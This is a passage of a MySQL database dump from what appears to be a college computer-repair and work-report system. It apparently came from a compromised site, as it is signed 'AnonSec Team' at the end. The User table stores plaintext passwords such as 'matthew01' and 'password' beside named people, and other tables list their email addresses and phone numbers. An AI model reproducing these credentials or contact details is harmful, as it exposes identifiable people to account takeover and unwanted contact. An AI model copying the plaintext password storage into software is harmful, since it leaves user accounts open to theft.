  INDEX `ZipCode` (`ZipCode`)
) TYPE=InnoDB;

#
# Dumping data for table 'PhonePrefixZip'
#

LOCK TABLES `PhonePrefixZip` WRITE;
INSERT INTO `PhonePrefixZip` VALUES('00000', "");
INSERT INTO `PhonePrefixZip` VALUES('00210', "");
INSERT INTO `PhonePrefixZip` VALUES('00211', "");
INSERT INTO `PhonePrefixZip` VALUES('00212', "");
INSERT INTO `PhonePrefixZip` VALUES('00213', "");
UNLOCK TABLES;

#
# Table structure for table 'PostalZipCode'
#

DROP TABLE IF EXISTS `PostalZipCode`;
CREATE TABLE `PostalZipCode` (
  `ZipCode` VARCHAR(5) NOT NULL,
  `City` VARCHAR(32),
  `StateID` INT DEFAULT 0,
  `AreaCode` VARCHAR(3),
  `Prefix` VARCHAR(3),
  `TimeZone` VARCHAR(3),
  INDEX `AreaCode` (`AreaCode`),
  PRIMARY KEY (`ZipCode`),
  INDEX `StateID` (`StateID`),
  UNIQUE `ZipCode` (`ZipCode`)
) TYPE=InnoDB;

#
# Dumping data for table 'PostalZipCode'
#

LOCK TABLES `PostalZipCode` WRITE;
INSERT INTO `PostalZipCode` VALUES('00000', '*** Unknown ***', 31, '952', "", '-6');
INSERT INTO `PostalZipCode` VALUES('00210', 'Portsmouth', 37, '603', "", '-5');
INSERT INTO `PostalZipCode` VALUES('00211', 'Portsmouth', 37, '603', "", '-5');
INSERT INTO `PostalZipCode` VALUES('00212', 'Portsmouth', 37, '603', "", '-5');
INSERT INTO `PostalZipCode` VALUES('00213', 'Portsmouth', 37, '603', "", '-5');
UNLOCK TABLES;

#
# Table structure for table 'Session'
#

DROP TABLE IF EXISTS `Session`;
CREATE TABLE `Session` (
  `SessionID` INT NOT NULL AUTO_INCREMENT,
  `SessionCode` VARCHAR(8),
  `SessionTypeID` INT DEFAULT 0,
  `SessionName` VARCHAR(32),
  `SessionDescription` VARCHAR(255),
  `SessionStart` CHAR(19),
  `SessionEnd` CHAR(19),
  INDEX `Code` (`SessionCode`),
  INDEX `EventID` (`SessionID`),
  PRIMARY KEY (`SessionID`),
  INDEX `SessionTypeID` (`SessionTypeID`)
) TYPE=InnoDB;

#
# Dumping data for table 'Session'
#

LOCK TABLES `Session` WRITE;
INSERT INTO `Session` VALUES(1, '19993', 1, '1998 Fall Semester', "", '1998-08-24', '1998-12-18');
INSERT INTO `Session` VALUES(2, 'CES1', 2, '1998 Late Fall', 'Special Session - Oct 7th to Feb 17th', '1998-10-07', '1999-02-17');
INSERT INTO `Session` VALUES(3, '19995', 1, '1999 Spring Semester', "", '1999-01-11', '1999-05-20');
INSERT INTO `Session` VALUES(4, '20003', 1, '1999 Fall Semester', "", '1999-08-20', '1999-12-15');
INSERT INTO `Session` VALUES(5, '20005', 1, '2000 Spring Semester', "", '2000-01-10', '2000-05-17');
UNLOCK TABLES;
ALTER TABLE `Session` CHANGE `SessionStart` `SessionStart` DATE;
ALTER TABLE `Session` CHANGE `SessionEnd` `SessionEnd` DATE;

#
# Table structure for table 'SessionType'
#

DROP TABLE IF EXISTS `SessionType`;
CREATE TABLE `SessionType` (
  `SessionTypeID` INT NOT NULL AUTO_INCREMENT,
  `SessionTypeCode` VARCHAR(4),
  `SessionTypeDescription` VARCHAR(255),
  INDEX `Code` (`SessionTypeCode`),
  PRIMARY KEY (`SessionTypeID`),
  INDEX `SessionTypeID` (`SessionTypeID`)
) TYPE=InnoDB;

#
# Dumping data for table 'SessionType'
#

LOCK TABLES `SessionType` WRITE;
INSERT INTO `SessionType` VALUES(1, 'Sem', 'Semester');
INSERT INTO `SessionType` VALUES(2, 'W16', '16 Weeks');
UNLOCK TABLES;

#
# Table structure for table 'State'
#

DROP TABLE IF EXISTS `State`;
CREATE TABLE `State` (
  `StateID` INT NOT NULL AUTO_INCREMENT,
  `StateCode` VARCHAR(2),
  `StateName` VARCHAR(64),
  INDEX `ID` (`StateID`),
  PRIMARY KEY (`StateID`),
  INDEX `StateCode` (`StateCode`)
) TYPE=InnoDB;

#
# Dumping data for table 'State'
#

LOCK TABLES `State` WRITE;
INSERT INTO `State` VALUES(1, 'AL', 'Alabama');
INSERT INTO `State` VALUES(2, 'AK', 'Alaska');
INSERT INTO `State` VALUES(3, 'AS', 'American Samoa');
INSERT INTO `State` VALUES(4, 'AZ', 'Arizona');
INSERT INTO `State` VALUES(5, 'AR', 'Arkansas');
UNLOCK TABLES;

#
# Table structure for table 'tblStats'
#

DROP TABLE IF EXISTS `tblStats`;
CREATE TABLE `tblStats` (
  `numberSessions` INT DEFAULT 0,
  `numberLoggedIn` INT DEFAULT 0,
  INDEX `numberLoggedIn` (`numberLoggedIn`),
  INDEX `numberSessions` (`numberSessions`)
) TYPE=InnoDB;

#
# Dumping data for table 'tblStats'
#

LOCK TABLES `tblStats` WRITE;
INSERT INTO `tblStats` VALUES(1, 0);
INSERT INTO `tblStats` VALUES(358, 3);
UNLOCK TABLES;

#
# Table structure for table 'User'
#

DROP TABLE IF EXISTS `User`;
CREATE TABLE `User` (
  `UserID` INT NOT NULL AUTO_INCREMENT,
  `UserIDNumber` VARCHAR(32) NOT NULL,
  `UserFirstName` VARCHAR(32) NOT NULL,
  `UserMiddleName` VARCHAR(32),
  `UserLastName` VARCHAR(32) NOT NULL,
  `UserNickname` VARCHAR(32),
  `UserBarCode` VARCHAR(16),
  `UserPicture` VARCHAR(128),
  `UserAlias` VARCHAR(16),
  `UserPassword` VARCHAR(16),
  `UserLastLogin` CHAR(19),
  `UserLoginCount` INT DEFAULT 0,
  `UserInactive` TINYINT,
  `UserIsAdmin` TINYINT,
  `UserIsManager` TINYINT,
  `UserAddDate` CHAR(19),
  `UserAddedBy` INT,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `ModifiedBy` (`UserAddedBy`),
  PRIMARY KEY (`UserID`),
  INDEX `UID` (`UserID`),
  INDEX `UserBarCode` (`UserBarCode`),
  INDEX `UserModifiedBy` (`ModifiedBy`)
) TYPE=InnoDB;

#
# Dumping data for table 'User'
#

LOCK TABLES `User` WRITE;
INSERT INTO `User` VALUES(1, 'jimmartinson', 'James', 'F', 'Martinson', 'Jim', "", "", 'jimm', 'bogus', '2006-01-25 10:55:14', 64, 0, -1, 0, '2004-01-01 10:39:34', 1, '2005-05-04 20:15:51', 1);
INSERT INTO `User` VALUES(30, 'testmanager', 'test', "", 'manager', "", "", "", 'manager', 'manager', '2005-03-29 15:25:11', 14, 0, 0, -1, '2004-04-17 12:21:23', 1, '2004-04-17 21:10:39', 1);
INSERT INTO `User` VALUES(31, 'testuser', 'test', "", 'user', "", "", "", 'user', 'user', '2004-04-22 05:08:07', 5, 0, 0, 0, '2004-04-17 12:29:50', 30, '2004-04-17 21:11:08', 1);
INSERT INTO `User` VALUES(32, 'JeffPolman', 'Jeff', "", 'Polman', "", "", "", "", 'matthew01', '2005-12-15 13:32:54', 149, 0, -1, 0, '2004-04-22 05:01:06', 1, '2004-11-10 11:56:17', 32);
INSERT INTO `User` VALUES(33, '00130429', 'Kenneth', "", 'Larson', 'Ken', "", "", "", 'password', NULL, 0, 0, 0, -1, '2004-04-22 05:04:09', 1, NULL, NULL);
UNLOCK TABLES;
ALTER TABLE `User` CHANGE `UserLastLogin` `UserLastLogin` DATETIME;
ALTER TABLE `User` CHANGE `UserAddDate` `UserAddDate` DATETIME;
ALTER TABLE `User` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'User_EmailAddress'
#

DROP TABLE IF EXISTS `User_EmailAddress`;
CREATE TABLE `User_EmailAddress` (
  `UserID` INT NOT NULL,
  `UserEmailAddress` VARCHAR(128) NOT NULL,
  `UserEmailAddressIsPrimary` TINYINT,
  `UserEmailAddressIsValid` TINYINT,
  `UserEmailAddressValidationUUID` VARCHAR(36),
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  PRIMARY KEY (`UserID`, `UserEmailAddress`),
  INDEX `UserEmailAddressValidationUUID` (`UserEmailAddressValidationUUID`)
) TYPE=InnoDB;

#
# Dumping data for table 'User_EmailAddress'
#

LOCK TABLES `User_EmailAddress` WRITE;
INSERT INTO `User_EmailAddress` VALUES(1, 'jim.martinson@ridgewater.edu', -1, -1, '04C087A8-0110-5F35-5913903496329466', '2004-11-04 14:00:28', 1);
INSERT INTO `User_EmailAddress` VALUES(1, 'jimmart@hutchtel.net', 0, 0, "", '2004-04-09 10:54:12', 1);
INSERT INTO `User_EmailAddress` VALUES(1, 'jimmart@mcshi.com', 0, 0, "", '2004-04-09 10:54:12', 1);
INSERT INTO `User_EmailAddress` VALUES(1, 'jmartinson@ridgewater.edu', 0, 0, "", '2004-04-09 10:50:28', 1);
INSERT INTO `User_EmailAddress` VALUES(30, 'manager@ridgewater.edu', -1, 0, "", '2004-11-10 11:09:13', 30);
UNLOCK TABLES;
ALTER TABLE `User_EmailAddress` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'User_EmailAddress_Validation'
#

DROP TABLE IF EXISTS `User_EmailAddress_Validation`;
CREATE TABLE `User_EmailAddress_Validation` (
  `UUID` VARCHAR(36) NOT NULL,
  `ValidationCode` VARCHAR(32),
  `UserID` INT,
  `UserEmailAddress` VARCHAR(128),
  `EntryDate` CHAR(19),
  PRIMARY KEY (`UUID`),
  INDEX `UserID` (`UserID`),
  INDEX `UUID1` (`UUID`),
  INDEX `ValidationCode` (`ValidationCode`)
) TYPE=InnoDB;

#
# Dumping data for table 'User_EmailAddress_Validation'
#

LOCK TABLES `User_EmailAddress_Validation` WRITE;
UNLOCK TABLES;
ALTER TABLE `User_EmailAddress_Validation` CHANGE `EntryDate` `EntryDate` DATETIME;

#
# Table structure for table 'User_PhoneNumber'
#

DROP TABLE IF EXISTS `User_PhoneNumber`;
CREATE TABLE `User_PhoneNumber` (
  `UserID` INT NOT NULL,
  `UserPhoneNumber` VARCHAR(15) NOT NULL,
  `UserPhoneNumberTypeCode` VARCHAR(5),
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  INDEX `PhoneNumberTypeCode` (`UserPhoneNumberTypeCode`),
  PRIMARY KEY (`UserID`, `UserPhoneNumber`)
) TYPE=InnoDB;

#
# Dumping data for table 'User_PhoneNumber'
#

LOCK TABLES `User_PhoneNumber` WRITE;
INSERT INTO `User_PhoneNumber` VALUES(1, '3202340335', 'Work', '2004-04-09 09:50:19', 1);
INSERT INTO `User_PhoneNumber` VALUES(1, '3205838490', 'Cell', '2004-04-09 10:15:17', 1);
INSERT INTO `User_PhoneNumber` VALUES(1, '3205874354', 'Home', '2004-04-09 23:49:27', 1);
INSERT INTO `User_PhoneNumber` VALUES(32, '3202356222', 'Home', '2004-11-10 11:56:17', 32);
INSERT INTO `User_PhoneNumber` VALUES(38, '3202350489', 'Home', '2004-11-16 14:58:50', 38);
UNLOCK TABLES;
ALTER TABLE `User_PhoneNumber` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'Weekdays'
#

DROP TABLE IF EXISTS `Weekdays`;
CREATE TABLE `Weekdays` (
  `WeekdaysID` TINYINT UNSIGNED NOT NULL DEFAULT 0,
  `WeekdaysD` VARCHAR(1),
  `WeekdaysDspace` VARCHAR(7),
  `WeekdaysDay` VARCHAR(3),
  `WeekdaysWeekday` VARCHAR(9),
  INDEX `Number` (`WeekdaysID`),
  PRIMARY KEY (`WeekdaysID`)
) TYPE=InnoDB;

#
# Dumping data for table 'Weekdays'
#

LOCK TABLES `Weekdays` WRITE;
INSERT INTO `Weekdays` VALUES(1, 'M', 'M', 'Mon', 'Monday');
INSERT INTO `Weekdays` VALUES(2, 'T', ' T', 'Tue', 'Tuesday');
INSERT INTO `Weekdays` VALUES(3, 'W', '  W', 'Wed', 'Wednesday');
INSERT INTO `Weekdays` VALUES(4, 'H', '   H', 'Thu', 'Thursday');
INSERT INTO `Weekdays` VALUES(5, 'F', '    F', 'Fri', 'Friday');
UNLOCK TABLES;

#
# Table structure for table 'WorkReport'
#

DROP TABLE IF EXISTS `WorkReport`;
CREATE TABLE `WorkReport` (
  `WorkReportID` INT NOT NULL AUTO_INCREMENT,
  `JobOrderID` INT,
  `WorkReportWork` LONGTEXT,
  `WorkReportAction` LONGTEXT,
  `WorkReportComment` LONGTEXT,
  `WorkReportInternalComment` LONGTEXT,
  `WorkReportEntryDate` CHAR(19),
  `WorkReportBy` INT,
  `WorkReportIPAddress` VARCHAR(15),
  `SessionID` INT,
  `WorkReportStart` CHAR(19),
  `WorkReportStop` CHAR(19),
  `WorkReportChangeTimeReason` VARCHAR(255),
  `WorkReportComplete` TINYINT,
  `WorkReportVerified` TINYINT,
  `WorkReportVerifiedDate` CHAR(19),
  `WorkReportVerifiedBy` INT,
  `WorkReportTimeCredit` INT DEFAULT 0,
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  PRIMARY KEY (`WorkReportID`),
  INDEX `SessionID1` (`SessionID`),
  INDEX `WorkOrderID` (`JobOrderID`),
  INDEX `WorkReportID` (`WorkReportID`)
) TYPE=InnoDB;

#
# Dumping data for table 'WorkReport'
#

LOCK TABLES `WorkReport` WRITE;
INSERT INTO `WorkReport` VALUES(30, 0, 'I Helped to find drivers for a Gateway 450 computer for the iomega zip100 drive off of driversguide.com watched Jim 
diagnose and repair the problem with the computer', "", "", "", '2004-07-13 15:41:41', 35, "", 18, '2004-07-13 11:59:00', '2004-07-13 16:00:00', "", -1, -1, '2004-09-08 09:19:38', 1, 241, '2004-07-13 15:41:41', 35);
INSERT INTO `WorkReport` VALUES(32, 0, 'I helped a guy pick-up his computer I finished the installation of windows 98 on pat engelmann\'s computer

On Dennis Burgquist\'s computer I installed ad-aware, updated it, and ran it and cleaned up all spyware present,  figured 
out the reason why he though internet.  cleared up system resources or memory used by disabling certain start-up items', "", "", "", '2004-07-15 12:56:54', 35, "", 18, '2004-07-15 08:58:00', '2004-07-15 15:04:00', "", -1, -1, '2004-09-08 09:19:30', 1, 366, '2004-07-15 12:56:54', 35);
INSERT INTO `WorkReport` VALUES(33, 0, 'I helped to correct a few computer errors with a guys computer. helpted dismantle computers for savagable parts', "", "", "", '2004-07-22 09:02:51', 35, "", 18, '2004-07-20 11:59:00', '2004-07-20 15:59:00', "", -1, -1, '2004-09-08 09:19:48', 1, 240, '2004-07-22 09:02:51', 35);
INSERT INTO `WorkReport` VALUES(34, 0, 'I answered the phone and monitored the installation of a program on a computer.  Helped sharon blackwell exchange a 
power supply in a computer of hers', "", "", "", '2004-07-27 12:17:03', 35, "", 18, '2004-07-22 09:00:00', '2004-07-22 15:03:00', "", -1, -1, '2004-09-08 09:19:21', 1, 363, '2004-07-27 12:17:03', 35);
INSERT INTO `WorkReport` VALUES(35, 0, 'Hp laptop I scanned for worm virus and trendmicros house call it found several viruses and was able to get rid of them', "", "", "", '2004-08-12 10:14:44', 35, "", 18, '2004-07-22 08:59:00', '2004-07-22 15:59:00', "", -1, -1, '2004-09-08 09:19:04', 1, 420, '2004-08-12 10:14:44', 35);
UNLOCK TABLES;
ALTER TABLE `WorkReport` CHANGE `WorkReportEntryDate` `WorkReportEntryDate` DATETIME;
ALTER TABLE `WorkReport` CHANGE `WorkReportStart` `WorkReportStart` DATETIME;
ALTER TABLE `WorkReport` CHANGE `WorkReportStop` `WorkReportStop` DATETIME;
ALTER TABLE `WorkReport` CHANGE `WorkReportVerifiedDate` `WorkReportVerifiedDate` DATETIME;
ALTER TABLE `WorkReport` CHANGE `LastModified` `LastModified` DATETIME;

#
# Table structure for table 'WorkReport_OriginalTime'
#

DROP TABLE IF EXISTS `WorkReport_OriginalTime`;
CREATE TABLE `WorkReport_OriginalTime` (
  `WorkReportOriginalTimeID` INT NOT NULL AUTO_INCREMENT,
  `WorkReportID` INT NOT NULL,
  `WorkReportOriginalStart` CHAR(19),
  `WorkReportOriginalStop` CHAR(19),
  `WorkReportOriginalReason` VARCHAR(255),
  `LastModified` CHAR(19),
  `ModifiedBy` INT,
  PRIMARY KEY (`WorkReportOriginalTimeID`),
  INDEX `WorkReportID` (`WorkReportID`),
  INDEX `WorkReportOriginalTimeID` (`WorkReportOriginalTimeID`)
) TYPE=InnoDB;

#
# Dumping data for table 'WorkReport_OriginalTime'
#

LOCK TABLES `WorkReport_OriginalTime` WRITE;
INSERT INTO `WorkReport_OriginalTime` VALUES(1, 59, '2004-09-08 12:17:00', '2004-10-14 10:35:40', "", '2004-10-14 10:35:40', 1);
INSERT INTO `WorkReport_OriginalTime` VALUES(2, 187, '2004-09-30 14:31:00', '2004-10-14 14:23:55', "", '2004-10-14 14:23:55', 48);
INSERT INTO `WorkReport_OriginalTime` VALUES(3, 187, '2004-09-30 11:00:00', '2004-09-30 16:00:00', "", '2004-10-14 14:24:28', 48);
INSERT INTO `WorkReport_OriginalTime` VALUES(4, 187, '2004-09-30 11:00:00', '2004-10-14 14:24:47', "", '2004-10-14 14:24:47', 48);
INSERT INTO `WorkReport_OriginalTime` VALUES(5, 187, '2004-09-30 11:00:00', '2004-10-14 14:24:00', "", '2004-10-14 14:25:10', 48);
UNLOCK TABLES;
ALTER TABLE `WorkReport_OriginalTime` CHANGE `WorkReportOriginalStart` `WorkReportOriginalStart` DATETIME;
ALTER TABLE `WorkReport_OriginalTime` CHANGE `WorkReportOriginalStop` `WorkReportOriginalStop` DATETIME;
ALTER TABLE `WorkReport_OriginalTime` CHANGE `LastModified` `LastModified` DATETIME;

SET FOREIGN_KEY_CHECKS = 0;
ALTER TABLE `JobOrder_StatusArchive` ADD CONSTRAINT `FK_JobOrderStatusType_JobOrder_StatusArchive` FOREIGN KEY(`JobOrderStatusID`) REFERENCES `JobOrderStatusType`(`JobOrderStatusID`);
ALTER TABLE `InstalledEquipment` ADD CONSTRAINT `FK_JobOrder_InstalledEquipment` FOREIGN KEY(`WorkReportID`) REFERENCES `JobOrder`(`JobOrderID`);
ALTER TABLE `InstalledEquipment` ADD CONSTRAINT `FK_WorkReport_InstalledEquipment` FOREIGN KEY(`WorkReportID`) REFERENCES `WorkReport`(`WorkReportID`);
ALTER TABLE `JobOrder_MajorEquipment` ADD CONSTRAINT `FK_EquipmentType_JobOrder_MajorEquipment` FOREIGN KEY(`EquipmentTypeID`) REFERENCES `EquipmentType`(`EquipmentTypeID`);
ALTER TABLE `EquipmentType` ADD INDEX (`ModifiedBy`);
ALTER TABLE `EquipmentType` ADD CONSTRAINT `FK_User_EquipmentType` FOREIGN KEY(`ModifiedBy`) REFERENCES `User`(`UserID`);
ALTER TABLE `LoginHistory` ADD CONSTRAINT `FK_User_LoginHistory` FOREIGN KEY(`UserID`) REFERENCES `User`(`UserID`);
ALTER TABLE `JobOrder_MajorEquipment` ADD CONSTRAINT `FK_JobOrder_JobOrder_MajorEquipment` FOREIGN KEY(`JobOrderID`) REFERENCES `JobOrder`(`JobOrderID`);
ALTER TABLE `JobOrder` ADD CONSTRAINT `FK_JobOrderStatusType_JobOrder` FOREIGN KEY(`JobOrderStatusID`) REFERENCES `JobOrderStatusType`(`JobOrderStatusID`);
ALTER TABLE `Session` ADD CONSTRAINT `FK_SessionType_Session` FOREIGN KEY(`SessionTypeID`) REFERENCES `SessionType`(`SessionTypeID`);
ALTER TABLE `JobOrder_MajorEquipment` ADD CONSTRAINT `FK_EquipmentManufacturer_JobOrder_MajorEquipment` FOREIGN KEY(`EquipmentManufacturerID`) REFERENCES `EquipmentManufacturer`(`EquipmentManufacturerID`);
ALTER TABLE `JobOrder` ADD INDEX (`ModifiedBy`);
ALTER TABLE `JobOrder` ADD CONSTRAINT `FK_User_JobOrder` FOREIGN KEY(`ModifiedBy`) REFERENCES `User`(`UserID`);
ALTER TABLE `EquipmentManufacturer` ADD INDEX (`ModifiedBy`);
ALTER TABLE `EquipmentManufacturer` ADD CONSTRAINT `FK_User_EquipmentManufacturer` FOREIGN KEY(`ModifiedBy`) REFERENCES `User`(`UserID`);
ALTER TABLE `WorkReport` ADD CONSTRAINT `FK_Session_WorkReport` FOREIGN KEY(`SessionID`) REFERENCES `Session`(`SessionID`);
SET FOREIGN_KEY_CHECKS = 1;

Anon7 - 2022
AnonSec Team